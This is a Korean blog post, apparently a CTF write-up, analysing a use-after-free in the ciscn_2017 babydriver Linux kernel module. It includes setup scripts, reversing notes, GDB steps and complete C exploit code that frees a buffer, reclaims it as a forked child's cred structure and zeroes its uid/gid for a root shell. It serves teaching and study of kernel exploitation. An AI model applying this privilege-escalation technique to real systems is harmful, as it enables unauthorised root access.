리눅스 커널 UAF 취약점 분석 및 권한 상승 실습

커널 익스플로잇 환경 구축

커널 익스플로잇 학습을 위해 다음과 같은 환경을 구성한다.

  1. 가상화 기능이 활성화된 Ubuntu 20.04 환경
  2. 디버깅을 위한 pwndbg가 적용된 GDB
  3. QEMU 에뮬레이터 설치
    sudo apt-get install qemu-system-x86
  4. 가젯 검색 속도가 우수한 ropper
  5. 커널 이미지 변환을 위한 vmlinux_to_elf 스크립트
  6. 파일 시스템 압축 해제 스크립트 (extract_fs.sh)
    #!/bin/bash
    if [ "$#" -ne 1 ]; then
        echo "Usage: $0 <rootfs-cpio>" >&2
        echo "Notice: Execute this in an empty directory for decompression." >&2
        exit 2
    fi
    full_path="$(pwd)/$1"
    dir_name=$(dirname "$full_path")
    file_name=$(basename "$full_path")
    cd "$dir_name"
    mv "$file_name" "${file_name}.gz"
    gunzip "${file_name}.gz"
    cpio -idmv < "$file_name"
    rm "$file_name"
  7. 파일 시스템 압축 스크립트 (build_fs.sh)
    #!/bin/bash
    if [ "$#" -ne 1 ]; then
        echo "Usage: $0 <output-cpio>" >&2
        exit 2
    fi
    find . -print0 | cpio --null -o --format=newc | gzip -9 > "$1"
    mv "$1" ../

커널 Use-After-Free 취약점 분석

이번 실습에서는 ciscn_2017-babydriver 문제를 통해 커널 UAF를 분석한다. 제공된 파일 중 불필요한 파일을 제거하면 boot.sh(QEMU 실행 스크립트), rootfs.cpio(파일 시스템 이미지), bzImage(압축된 커널 이미지)가 남는다.

디버깅을 위해 boot.sh-s 옵션을 추가하고, extract_fs.sh를 이용해 rootfs.cpio의 압축을 해제한다. 해제된 init 스크립트를 확인해보면, flag 파일의 권한을 root만 읽을 수 있도록 설정하고 insmodbabydriver.ko 커널 모듈을 로드하는 것을 볼 수 있다.

babydriver.ko 리버싱

IDA를 통해 babydriver.ko를 분석한다. 주요 함수들은 다음과 같다.

  • babyopen: 0x40 크기의 메모리를 할당하여 전역 구조체 babydev_struct에 해당 버퍼 포인터를 저장한다.
  • babyread / babywrite: 각각 커널 공간에서 사용자 공간으로, 사용자 공간에서 커널 공간으로 데이터를 복사한다.
  • babyioctl: 0x10001 명령을 통해 기존에 할당된 메모리를 해제하고 새로운 크기로 재할당한다.
  • babyrelease: 할당된 메모리를 해제(kfree)하지만, babydev_struct 내의 포인터를 초기화하지 않는다. 이로 인해 Dangling Pointer가 발생하며 UAF 취약점이 유발된다.

동적 디버깅 기초

디버깅을 위해 테스트 코드를 작성한다.

#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int main() {
    int desc = open("/dev/babydev", O_RDWR);
    char payload[] = "kernel";
    write(desc, payload, strlen(payload));
    close(desc);
    return 0;
}

정적 컴파일을 수행한다.

gcc test_app.c -static -o test_app

모듈의 정확한 로드 주소를 파악해야 한다. init 스크립트를 수정하여 root 권한으로 쉘에 진입한 후, 파일 시스템을 다시 패키징하고 QEMU를 부팅하여 다음 명령어로 주소를 확인한다.

cat /sys/module/babydriver/sections/.text

확인한 주소를 바탕으로 GDB에서 심볼을 로드한다.

add-symbol-file ./core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

babywrite 등에 브레이크포인트를 설정하고, target remote :1234를 통해 QEMU에 원격으로 연결하여 디버깅을 진행할 수 있다.

cred 구조체와 권한 상승

리눅스 커널에서 각 프로세스는 cred 구조체를 통해 권한을 관리한다. 이 구조체에는 uid(실제 사용자 ID), euid(유효 사용자 ID), gid 등이 포함되어 있으며, 이 값들을 0으로 덮어쓰면 root 권한을 획득할 수 있다. cred 구조체의 크기는 커널 버전에 따라 다르다.

struct cred {
    atomic_t    usage;
    atomic_t    subscribers;
    void        *put_addr;
    unsigned    magic;
    kuid_t      uid;        /* real UID */
    kgid_t      gid;        /* real GID */
    kuid_t      suid;       /* saved UID */
    kgid_t      sgid;       /* saved GID */
    kuid_t      euid;       /* effective UID */
    kgid_t      egid;       /* effective GID */
    kuid_t      fsuid;
    kgid_t      fsgid;
    // ...
} __randomize_layout;

익스플로잇 코드 작성

UAF 취약점을 이용하여 권한을 상승시키는 과정은 다음과 같다.

  1. /dev/babydev를 두 번 열어 두 개의 파일 디스크립터를 확보한다. 두 디스크립터는 동일한 버퍼를 가리킨다.
  2. ioctl을 호출하여 해당 버퍼의 크기를 cred 구조체의 크기(0xa8)로 변경한다.
  3. 첫 번째 디스크립터를 닫아(close) 버퍼를 해제한다. 이때 Dangling Pointer가 발생한다.
  4. fork()를 호출하여 자식 프로세스를 생성한다. 커널은 자식 프로세스의 cred 구조체를 위해 방금 해제된 버퍼를 재사용하게 된다.
  5. 두 번째 디스크립터를 통해 해당 버퍼(자식 프로세스의 cred 구조체)에 0을 쓰면 자식 프로세스의 uidgid가 0으로 덮어씌워진다.
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#include <stdio.h>

#define CHANGE_SIZE 0x10001

int main() {
    int handle_one = open("/dev/babydev", O_RDWR);
    int handle_two = open("/dev/babydev", O_RDWR);

    // 버퍼 크기를 cred 구조체 크기에 맞춤
    ioctl(handle_one, CHANGE_SIZE, 0xa8);

    // UAF 유발: 메모리 해제 후에도 handle_two는 여전히 해당 메모리를 참조
    close(handle_one);

    // 자식 프로세스 생성
    if (!fork()) {
        char zero_buf[28];
        memset(zero_buf, '\x00', sizeof(zero_buf));
        
        // 해제된 메모리(자식 프로세스의 cred)에 0을 써서 uid/gid를 0으로 변경
        write(handle_two, zero_buf, sizeof(zero_buf));
        
        puts("[+] Privilege Escalation Success!");
        system("/bin/sh");
    } else {
        wait(NULL);
    }
    
    close(handle_two);
    return 0;
}

코드를 정적 컴파일한 후, flag 파일을 생성하고 init 스크립트에서 일반 사용자(uid=1000)로 로그인하도록 설정하여 검증한다. 파일 시스템을 다시 패키징하고 QEMU를 부팅하여 익스플로잇을 실행하면 정상적으로 root 권한을 획득할 수 있다.

동적 분석을 통한 검증

GDB를 통해 공격 과정을 더 자세히 관찰할 수 있다. babyrelease에 브레이크포인트를 걸고 kfree가 호출될 때의 레지스터 값을 확인한다.

이후 babywrite에 브레이크포인트를 설정하고 _copy_from_user 호출 직전의 레지스터를 확인해보면, rdi 레지스터가 kfree 때와 동일한 주소를 가리키고 있음을 알 수 있다. 이 주소는 바로 자식 프로세스의 cred 구조체가 할당된 위치다.

해당 메모리 값을 확인해보면 초기 uid가 0x3e8(10진수 1000)으로 설정되어 있으나, _copy_from_user 실행 후 uidgid가 0으로 덮어씌워진 것을 확인할 수 있다.

태그: Linux kernel UAF Privilege Escalation QEMU CTF

8월 3일 12:54에 게시됨